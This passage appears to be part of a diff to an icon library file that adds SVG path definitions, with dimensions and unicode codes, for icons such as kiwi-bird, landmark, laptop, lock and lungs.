20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z" ], + "kiwi-bird": [ 576, 512, [], "f535", "M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z" ], + landmark: [ 512, 512, [], "f66f", "M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + language: [ 640, 512, [], "f1ab", "M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z" ], + laptop: [ 640, 512, [], "f109", "M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z" ], + "laptop-code": [ 640, 512, [], "f5fc", "M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z" ], + "laptop-house": [ 640, 512, [], "e066", "M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z" ], + "laptop-medical": [ 640, 512, [], "f812", "M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z" ], + laugh: [ 496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z" ], + "laugh-beam": [ 496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" ], + "laugh-squint": [ 496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" ], + "laugh-wink": [ 496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" ], + "layer-group": [ 512, 512, [], "f5fd", "M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z" ], + leaf: [ 576, 512, [], "f06c", "M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z" ], + lemon: [ 512, 512, [], "f094", "M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z" ], + "less-than": [ 384, 512, [], "f536", "M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z" ], + "less-than-equal": [ 448, 512, [], "f537", "M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" ], + "level-down-alt": [ 320, 512, [], "f3be", "M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z" ], + "level-up-alt": [ 320, 512, [], "f3bf", "M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z" ], + "life-ring": [ 512, 512, [], "f1cd", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z" ], + lightbulb: [ 352, 512, [], "f0eb", "M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z" ], + link: [ 512, 512, [], "f0c1", "M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z" ], + "lira-sign": [ 384, 512, [], "f195", "M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z" ], + list: [ 512, 512, [], "f03a", "M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "list-alt": [ 512, 512, [], "f022", "M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z" ], + "list-ol": [ 512, 512, [], "f0cb", "M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z" ], + "list-ul": [ 512, 512, [], "f0ca", "M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "location-arrow": [ 512, 512, [], "f124", "M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z" ], + lock: [ 448, 512, [], "f023", "M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z" ], + "lock-open": [ 576, 512, [], "f3c1", "M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z" ], + "long-arrow-alt-down": [ 256, 512, [], "f309", "M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z" ], + "long-arrow-alt-left": [ 448, 512, [], "f30a", "M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z" ], + "long-arrow-alt-right": [ 448, 512, [], "f30b", "M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z" ], + "long-arrow-alt-up": [ 256, 512, [], "f30c", "M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z" ], + "low-vision": [ 576, 512, [], "f2a8", "M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z" ], + "luggage-cart": [ 640, 512, [], "f59d", "M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z" ], + lungs: [ 640, 512, [], "f604", "M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z" ], + "lungs-virus": [ 640, 512, [], "e067", "M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0